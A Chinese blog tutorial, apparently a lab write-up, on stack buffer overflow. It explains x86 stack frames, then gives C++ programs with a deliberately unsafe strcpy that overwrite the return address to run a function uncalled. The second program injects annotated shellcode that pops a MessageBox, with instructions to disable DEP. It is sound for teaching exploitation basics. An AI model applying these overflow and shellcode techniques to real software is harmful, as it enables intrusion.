前言
之前介绍的的缓冲区溢出导致站内变量值被修改(缓冲区溢出(栈溢出)实验 之 改变栈内的变量
<https://blog.csdn.net/xyb_l_code/article/details/81207888>)
本小节介绍通过缓冲区溢出调用函数,此外通过学习也对函数栈的了解有所加深,这里加上小段自己对函数栈的理解
函数栈的介绍
通过汇编介绍函数执行过程中栈的变化:
EBP:栈底 存储着上一个栈的栈底EBP
ESP:栈顶 存储着系统栈的栈顶(函数栈形成是保存系统栈栈顶)
EIP:存储下一条将要执行指令的地址
我们习惯将栈底和栈顶之间划分为一个栈:访问栈是以栈底EBP作为基准的
调用函数(cdecl调用约定 --》 自右向左压栈 调用者负责清理传参的内存栈)
压入函数参数:
0041171E lea eax,[input]
00411721 push eax
调用函数:
00411722 call overflow (04112A3h)
开辟新栈:
push ebp //先将上一个栈的栈底保存到栈中
mov ebp,esp //将上一个栈的栈顶作为下一个栈的栈底即ESP赋值给EBP
之后将传递的参数压入栈中,执行函数内的指令
mov esp,ebp //将存储的上一个栈的栈顶恢复到ESP中
pop ebp
ret
完成栈的恢复,函数结束
add esp,4 //清除掉传递参数时开辟的栈内存(此处栈顶上移四个字节)
1、调用程序自身函数
首选上源码
#include<iostream> #include<windows.h> #include <string.h> using namespace
std; int overflow(const char* input) { BOOL bFlAG = TRUE; int nFlag = 1; char
buf[8]; memset(buf, 0, 8); printf("Virtual address of 'buf' = Ox%p\n", buf);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
strcpy(buf, input); printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n",
&nFlag, nFlag); return 0; } void Fun() { printf("Buffer Overflow
Success!\r\n"); return; } int main() { printf("Virtual address of 'overflow' =
Ox%p\n", overflow); printf("Virtual address of 'overflow' = Ox%p\n", Fun);
//注意这里ff后,但其实默认添加了’\0’在最后面 //char input[] = "AAAAAAAB";//good input, ASCII code
of 'A' is 41 //构造新的字符串 char input[] =
"AAAAAAAABBBBBBBBAAAC\x46\x17\x41\x00";//0x00411570 overflow(input);
system("pause"); return 0; }
目标:更改栈的返回值,将返回值改为函数“Fun”的地址,那么当函数overflow返回时,会将返回地址填入EIP中,使得程序执行Fun函数。
查看的Fun的地址为0x00411570
进入overflow函数,并且在Fun函数内断点,
查看寄存器得到ESP为0x0019FE34,EBP为0x0019FE90
查看栈内存,标记红框的依次为ESP、buf、EBP、返回值(返回值位于EBP下的四字节内存,buf为将要分配给他的内存)
此时运行在“BOOL bFlAG = TRUE;”处
复制“strcpy(buf, input);”前内存情况
复制“strcpy(buf, input);”后内存情况
可看出我们将更改了buf、nFlag、bFlag、EBP的内容以及返回地址,其中返回地址修改为“Fun”函数的地址继续运行得到程序的结果如下图,该方法破坏了buf到返回地址存储位置所有的内存
我们成功的在没有调用“Fun”函数的情况下,执行了“Fun”函数
不过不幸的是我们破坏了栈的平衡,当程序从Fun函数中退出后,找不到下一句应该执行了语句所在的地址了,该问题导致出现以下提示:
问题描述:导致该问题的根源在于栈平衡被破坏,程序无法正确找到下一个执行指令
解决方案:可以在Fun函数加上exit(),直接退出进程这个提示就不存在了,但是这个方法仅仅是治标不治本,我们应该去重新调节堆栈的平衡
2、通过缓冲区溢出调用系统函数(messagebox)
#include<iostream> #include<windows.h> #include <string.h> using namespace
std; int overflow(const char* input) { BOOL bFlAG = TRUE; int nFlag = 1; char
buf[44]; memset(buf, 0, 44); printf("Virtual address of 'buf' = Ox%p\n", buf);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
strcpy(buf, input); printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n",
&nFlag, nFlag); return 0; } void Fun() { printf("Buffer Overflow
Success!\r\n"); exit(0); return; } int main() { printf("Virtual address of
'overflow' = Ox%p\n", overflow); //加载user32.dll库 HMODULE hUserModule =
LoadLibrary("user32.dll"); if (NULL == hUserModule) {
printf("动态库加载失败BufferOverflow.cpp 错误码:%d \r\n",GetLastError()); return 0; }
printf("MessageBox Address %X\r\n", MessageBox); //MessageBox(NULL, "failwest",
"failwest", 0); //printf("Virtual address of 'overflow' = Ox%p\n", Fun);
//注意这里ff后,但其实默认添加了’\0’在最后面 char input[] =
"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\xFE\x19"
;//Messagebox函数地址:0x740EF8B0 //char input[] = "AAAAAAB";//good input, ASCII
code of 'A' is 41 //char input[] = "AAAAAAA";//good input, ASCII code of 'A' is
41 overflow(input); system("pause"); return 0; }
进入overflow函数查看栈内存 ESP = 0019FDEC EBP = 0019FE6C
被标记出来的分别为ESP、EBP、函数结束后的返回地址
Shellcode如何构成
使用ebx的异或作为0使用
调用messagebox函数需要在栈中压入函数的参数(自右向左压入)
33DB XOR EBX,EBX
* PUSH EBX
6877657374 PUSH 74736577
686661696C push 6C696166
将字符串传入EAX中
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
压栈完毕调用messagebox(地址:0x740EF8B0)x0E\x74\xFF\xD0
B80E74FFD0 mov eax, 0E74FFD0
FFD0 call eax
然后在函数返回地址处填充buf的地址
在其他非关键位置填充NOP指令,这样就够成了今天使用的shellcode
申请的buf地址为0x0019fe38,在Buf中填充执行调用系统函数的代码,然后再函数返回地址处填充上buf的地址,使得函数执行结束后跳到buf地址处继续执行我们的调用系统函数的地址。系统函数为调用messagebox函数弹出failwest提示消息。
“strcpy(buf, input);”函数后
我们发现EBP后的返回地址改为buf的地址,因此程序在结束函数overflow后会调到0x0019fe38处继续执行我们精心构造的shellcode。如此就完成了通过栈溢出调用messagebox函数。
注意:此处会出现栈内存无法执行的问题,解决方案为修改 项目--》属性--》链接器--》高级--》数据执行保护(DEP) 为 否 (/NXCOMPAT:NO)
执行结果为
下一篇: 缓冲区溢出(栈溢出)实验 之 JMP ESP
<https://blog.csdn.net/xyb_l_code/article/details/81239800>
热门工具 换一换